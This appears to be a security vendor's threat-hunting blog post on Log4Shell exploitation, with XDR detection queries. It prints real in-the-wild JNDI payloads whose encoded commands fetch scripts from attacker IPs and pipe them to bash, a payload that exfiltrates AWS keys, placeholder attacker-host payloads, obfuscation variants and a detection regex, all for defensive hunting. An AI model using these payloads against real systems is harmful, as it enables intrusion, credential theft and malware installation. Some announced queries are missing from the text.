Hunting for Log4j CVE-2021-44228 (Log4Shell) Exploit Activity

This post is also available in: 日本語 (Japanese)

Overview

On December 9, 2021, a critical Remote Code Execution (RCE) vulnerability in Apache’s Log4j library was discovered being exploited in the wild. The critical vulnerability, which garnered a CVSS severity score 10 out of 10, enables a remote attacker to execute arbitrary code on an affected server and potentially take complete control of the system.

Since the release, mass scanning activity has occurred as threat actors look for vulnerable systems and race to exploit them before they are patched.

In this post, we will deep dive into the payloads used by one of the threat actors performing exploitation attempts and demonstrate how blue teams can hunt for suspicious activities that may indicate the network was affected by CVE-2021-44228 both on Windows and Linux based installations and cloud environments.

To understand how Cortex XDR can help detect and stop Log4j vulnerability exploits, view the Apache Log4j blog post published by Unit 42.

Massive Scanning

Over the past few days, the Cortex XDR Managed Threat Hunting Team observed a surge in the amount of malicious requests attempting to exploit CVE-2021-44228 across organizations worldwide.

Image #1: A Surge in Malicious Log4j Exploitation Attempts Over the Past 7 Days

The Managed Threat Hunting team has hand-picked a few of the payloads for further analysis to review the custom payloads used by the threat actors.

1. ${jndi:ldap://45.137[.]21.9:1389/Basic/Command/Base64/d2dldCAtcSAtTy0gaHR0cDovLzYyLjIxMC4xMzAuMjUwL2xoLnNofGJhc2g=}
2. ${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgMTkyLjk5LjE1Mi4yMDB8fHdnZXQgLXEgLU8tIDIxMi40Ny4yMzcuNjc6NDQzKXxiYXNo}

Stage 1: Base64 Deobfuscation

Using CyberChef, an analysis of the payload reveals new IOCs which are controlled by the adversary, “192.99[.]152.200”, ”212.47[.]237.67 ” and “62.210[.]130.250”.

Stage 2: Scripts Retrieval and Further Analysis

The Cortex XDR Managed Threat Hunting experts downloaded the artifacts and carefully inspected them.

“192.99[.]152.200” and “212.47[.]237.67” were downloaded and included the script displayed below. The script also contained a rather polite “introduction” message in the first couple of lines.

Image 2: A “Polite” Greeting Message

Sadly, the second stage of the payload was not available on the threat actor site, however the line “sysctl -w vm.nr_hugepages=128 > /dev/null 2>&1” suggests an intention to mine cryptocurrency as it increases the potential mining ability of the server by up to 20 percent.

The script downloaded off “62.210[.]130.250” is another downloader for the notorious “Mirai” botnet. Tt is pretty common for the “Mirai” botnet operators to exploit a new Remote Code Execution vulnerability in order to enlarge their zombie horde.

Image #3: The “Mirai” botnet downloader

Hunting for Log4Shell in Your Cloud Environment

Cortex XDR Managed Threat Hunting experts have joined efforts with the Cortex XDR research team to detect and hunt exploitation attempts for cloud environments. Some major examples as seen in-the-wild:

• Executing the following on vulnerable cloud hosts may lead to exfiltration of cloud credentials: ${jndi:ldap://host/${env:AWS_SECRET_ACCESS_KEY}.${env:AWS_ACCESS_KEY_ID}}

• Leveraging the exploitation upon API calls (as those API calls are usually logged) and their            associated attributes controlled by the attacker such as the requests parameters of the API call or  the user-agent. For example:

• • Cloud storage services, modify the object name:
    projects/_/buckets/<BUCKET-NAME>/objects/${jndi:ldap://<ATTACKER-IP>:<PORT>/Exploit}
  • User agent:
    ${jndi:${lower:l}${lower:d}a${lower:p}://<ATTACKER-DNS>.bin${upper:a}.io:<PORT>/callback}

Cortex XDR customers can use this query to hunt additional exploitation attempts within cloud audit logs:

Due to the fact that there are so many exploitation attempts, finding a successful exploitation is not an easy task. However, we can leverage the power of all XDR data resources and hunt those malicious connections.

By correlating between Cortex XDR cloud, NDR and EDR logs, we are able to extract IOCs from exploitation attempts and match them with established outbound network connections.

For example, we can extract the attacker IP address from the payload as seen in Cortex XDR cloud logs, and look for successful outbound connections to this IP address. The same steps can be implemented for DNS queries.

Cortex XDR customers can use this query to hunt for successful exploitations by looking at EDR, Firewall and flow logs connections, which can imply a real service or compute instance execution:

Hunting for Log4Shell in Your Network

The Cortex XDR Managed Threat Hunting team created a few queries which can enable defenders to determine if the network was affected by the CVE-2021-44228 vulnerability.

The queries are divided into two different sections:

1. Detecting potential malicious activity attributed with the Log4j exploitation.
2. Detecting potentially affected hosts , which contain the vulnerable library.

Section A: Detecting Hosts Which May Contain the Vulnerable Library

1. Attempting to detect all Log4j jar loading - Trying to find all applications that utilize Log4j is nearly impossible, as it is bundled in a ton of different software. With that being said, we believe that this query will enable you to get at least a partial grip of this package usage within your environment. The query will list all process names *java* which interacted with a file called *log4j*

1. config case_sensitive = false timeframe=30d |

   dataset = xdr_data 

       | filter actor_process_image_name contains "java"

       | filter (agent_os_sub_type contains "server" or agent_os_type = ENUM.AGENT_OS_LINUX )

       | filter action_file_name contains "log4j" and action_file_extension = "jar"    

       |fields agent_hostname, agent_ip_addresses, actor_effective_username, action_file_name, action_file_path

   | dedup agent_hostname

   Attempt to target all hosts that contain a file that matches the SHA256 hash of the Log4j vulnerable versions.

Reference: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha256sums.txt

Section B: Detecting Potentially Malicious Activity Attributed with the Log4j Exploitation

1. Given the sheer amount of obfuscation possible on the malicious User-Agents like:
   1. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}
   2. ${JnD${upper:i}:lda${env:XXXX2323:-p}:/
   3. ${jndi:ldap://host/$
   4. ${jndi:${lower:l}${lower:d}a${lower:p}:

We’ve decided to choose a regular expression targeting all permutations of the potential resources.

config case_sensitive = false timeframe=7d |

dataset = xdr_data

| filter lowercase(action_user_agent) ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR lowercase(action_user_agent) ~= "\${jndi"

| fields action_user_agent,agent_hostname, action_process_image_name, action_process_image_command_line

This means that for Java Child Process, the query will count the number of appearances over the past 90 days, and will list them only if they were spotted for less than 10 times on this specific host.2. Harness the power of “out of the ordinary”- The following query will create a list of the rare Java process causality chains for both action processes and their command lines.

Ideally, for any type of payload, you will be able to uncover any unusual processes and their commands.

Conclusion

We’re probably seeing only the tip of the iceberg; it’s only a matter of time until different threat actors and groups will utilize this vulnerability to deploy even more sophisticated malware and payload onto vulnerable servers.

Hopefully these queries will be able to assist you in proactively hunting for this threat in your network.

Happy Hunting!